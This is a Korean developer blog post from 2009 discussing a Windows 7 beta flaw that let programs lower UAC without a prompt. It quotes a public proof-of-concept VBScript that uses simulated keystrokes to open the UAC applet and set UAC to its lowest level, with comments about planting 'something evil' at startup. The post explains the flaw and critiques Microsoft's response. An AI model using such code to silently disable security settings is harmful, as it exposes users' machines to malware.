Microsoft MVP성태의 닷넷 이야기
Windows: 41. UAC 보안 취약 [링크 복사], [링크+제목 복사],
조회: 22921
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 


Windows 7 - UAC 보안 취약


오늘 날짜의 "한국 마이크로소프트 - 오늘의 뉴스"에 재미있는 기사가 올라왔습니다.

[외신] 윈도우 7 베타버전 UAC기능, 보안 취약 논쟁 
; http://www.boannews.com/media/view.asp?idx=14088&kind=1

재미있더군요. 검색을 통해서 문제를 제기한 "Long Zheng"이라는 사람의 글을 쉽게 발견할 수 있었습니다.

Sacrificing security for usability: UAC security flaw in Windows 7 beta (with proof of concept code) 
; http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Malware can turn off UAC in Windows 7; “By design” says Microsoft
; http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft

실제로, 공개된 소스코드를 확인해 보면 정말 간단합니다.

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

문제가 되는 것은, UAC 수준이 Windows 7에서 조정이 되었는데, 그 조정된 수준에서는 UAC 자체의 설정값을 변경하는 행위에서도 "UAC 확인" 창이 뜨지 않는다는 것입니다. 위의 프로그램을 통해서 실행되는 프로그램은 "User Account Control Settings" 대화창인데,

[그림 1: Windows 7 UAC 수준 변경 대화창]
windows7_uac_flaw_by_keyboard_1.png

UAC 모드를 변경하는 "OK" 버튼에서 "UAC 확인창"이 떠야만 하는데, 현재 Windows 7의 기본값인 "Default - Notify me only when programs try to make changes to my computer"에서는 UAC를 바꾸는 것 자체도 "Windows settings"를 변경하는 부분에 해당하기 때문에 UAC 확인창이 뜨지 않는 것입니다.

만약, UAC 설정값을 프로그래밍적으로 바꾸는 방법이 있었다면 위와 같이 SendKeys 방법을 굳이 통하지 않고 그 API를 부르는 것만으로도 UAC는 쉽게 바뀔 수 있다는 의미가 됩니다.

이 부분은, UAC 수준을 조절하는 과정에서 Microsoft 내부적으로 잘못 이해된 것이 아닌가 싶은데, 마이크로소프트 측에서는 이것을 "By Design"의 문제라고 하며 그다지 중요하게 생각하지 않고 있다는 것도 또한 문제시되고 있습니다. 제 생각에는 이런 정도의 결함은 Microsoft도 내부적인 설정 오류라고 보고 수정하면 될 것 같은데 ... 좀 의아스럽긴 합니다.

제 개인적인 생각으로도, Windows 7 정식 버전에서는 꼭 고쳐졌으면 좋겠군요.



[이 토픽에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 4/10/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 



2009-02-15 10시09분
[vbdream] 최소한 UAC 변경 창은 별도의 데스크톱이라던가, 하여튼 일반적인 응용 프로그램과는 단절된 환경에서 이루어져야 하겠네요.
[guest]
2009-02-15 11시01분
위의 문제에서는 기본적으로 UAC 변경에 대한 것 자체에 UAC를 적용해야 하고요. ^^
UAC 대화창이 떠야 한다면 "vbdream" 님이 말씀하신 것처럼 별도의 데스크톱에 떠야 안전하겠지요.
kevin25

... 61  62  63  64  65  66  67  68  69  70  [71]  72  73  74  75  ...
NoWriterDateCnt.TitleFile(s)
12161정성태2/26/202017731오류 유형: 597. manifest - The value "x64" of attribute "processorArchitecture" in element "assemblyIdentity" is invalid.
12160정성태2/26/202018211개발 환경 구성: 469. Reg-free COM 개체 사용을 위한 manifest 파일 생성 도구 - COMRegFreeManifest
12159정성태2/26/202015270오류 유형: 596. Visual Studio - The project needs to include ATL support
12158정성태2/25/202017863디버깅 기술: 165. C# - Marshal.GetIUnknownForObject/GetIDispatchForObject 사용 시 메모리 누수(Memory Leak) 발생파일 다운로드1
12157정성태2/25/202017918디버깅 기술: 164. C# - Marshal.GetNativeVariantForObject 사용 시 메모리 누수(Memory Leak) 발생 및 해결 방법파일 다운로드1
12156정성태2/25/202016477오류 유형: 595. LINK : warning LNK4098: defaultlib 'nafxcw.lib' conflicts with use of other libs; use /NODEFAULTLIB:library
12155정성태2/25/202015923오류 유형: 594. Warning NU1701 - This package may not be fully compatible with your project
12154정성태2/25/202015294오류 유형: 593. warning LNK4070: /OUT:... directive in .EXP differs from output filename
12153정성태2/23/202019414.NET Framework: 898. Trampoline을 이용한 후킹의 한계파일 다운로드1
12152정성태2/23/202018499.NET Framework: 897. 실행 시에 메서드 가로채기 - CLR Injection: Runtime Method Replacer 개선 - 세 번째 이야기(Trampoline 후킹)파일 다운로드1
12151정성태2/22/202019272.NET Framework: 896. C# - Win32 API를 Trampoline 기법을 이용해 C# 메서드로 가로채는 방법 - 두 번째 이야기 (원본 함수 호출)파일 다운로드1
12150정성태2/21/202019508.NET Framework: 895. C# - Win32 API를 Trampoline 기법을 이용해 C# 메서드로 가로채는 방법 [1]파일 다운로드1
12149정성태2/20/202018326.NET Framework: 894. eBEST C# XingAPI 래퍼 - 연속 조회 처리 방법 [1]
12148정성태2/19/202020758디버깅 기술: 163. x64 환경에서 구현하는 다양한 Trampoline 기법 [1]
12147정성태2/19/202018498디버깅 기술: 162. x86/x64의 기계어 코드 최대 길이
12146정성태2/18/202019275.NET Framework: 893. eBEST C# XingAPI 래퍼 - 로그인 처리파일 다운로드1
12145정성태2/18/202019104.NET Framework: 892. eBEST C# XingAPI 래퍼 - Sqlite 지원 추가파일 다운로드1
12144정성태2/13/202019291.NET Framework: 891. 실행 시에 메서드 가로채기 - CLR Injection: Runtime Method Replacer 개선 - 두 번째 이야기파일 다운로드1
12143정성태2/13/202015923.NET Framework: 890. 상황별 GetFunctionPointer 반환값 정리 - x64파일 다운로드1
12142정성태2/12/202018295.NET Framework: 889. C# 코드로 접근하는 MethodDesc, MethodTable파일 다운로드1
12141정성태2/10/202017292.NET Framework: 888. C# - ASP.NET Core 웹 응용 프로그램의 출력 가로채기 [2]파일 다운로드1
12140정성태2/10/202017781.NET Framework: 887. C# - ASP.NET 웹 응용 프로그램의 출력 가로채기파일 다운로드1
12139정성태2/9/202019090.NET Framework: 886. C# - Console 응용 프로그램에서 UI 스레드 구현 방법
12138정성태2/9/202023084.NET Framework: 885. C# - 닷넷 응용 프로그램에서 SQLite 사용 [6]파일 다운로드1
12137정성태2/9/202016355오류 유형: 592. [AhnLab] 경고 - 디버거 실행을 탐지했습니다.
12136정성태2/6/202017292Windows: 168. Windows + S(또는 Q)로 뜨는 작업 표시줄의 검색 바가 동작하지 않는 경우
... 61  62  63  64  65  66  67  68  69  70  [71]  72  73  74  75  ...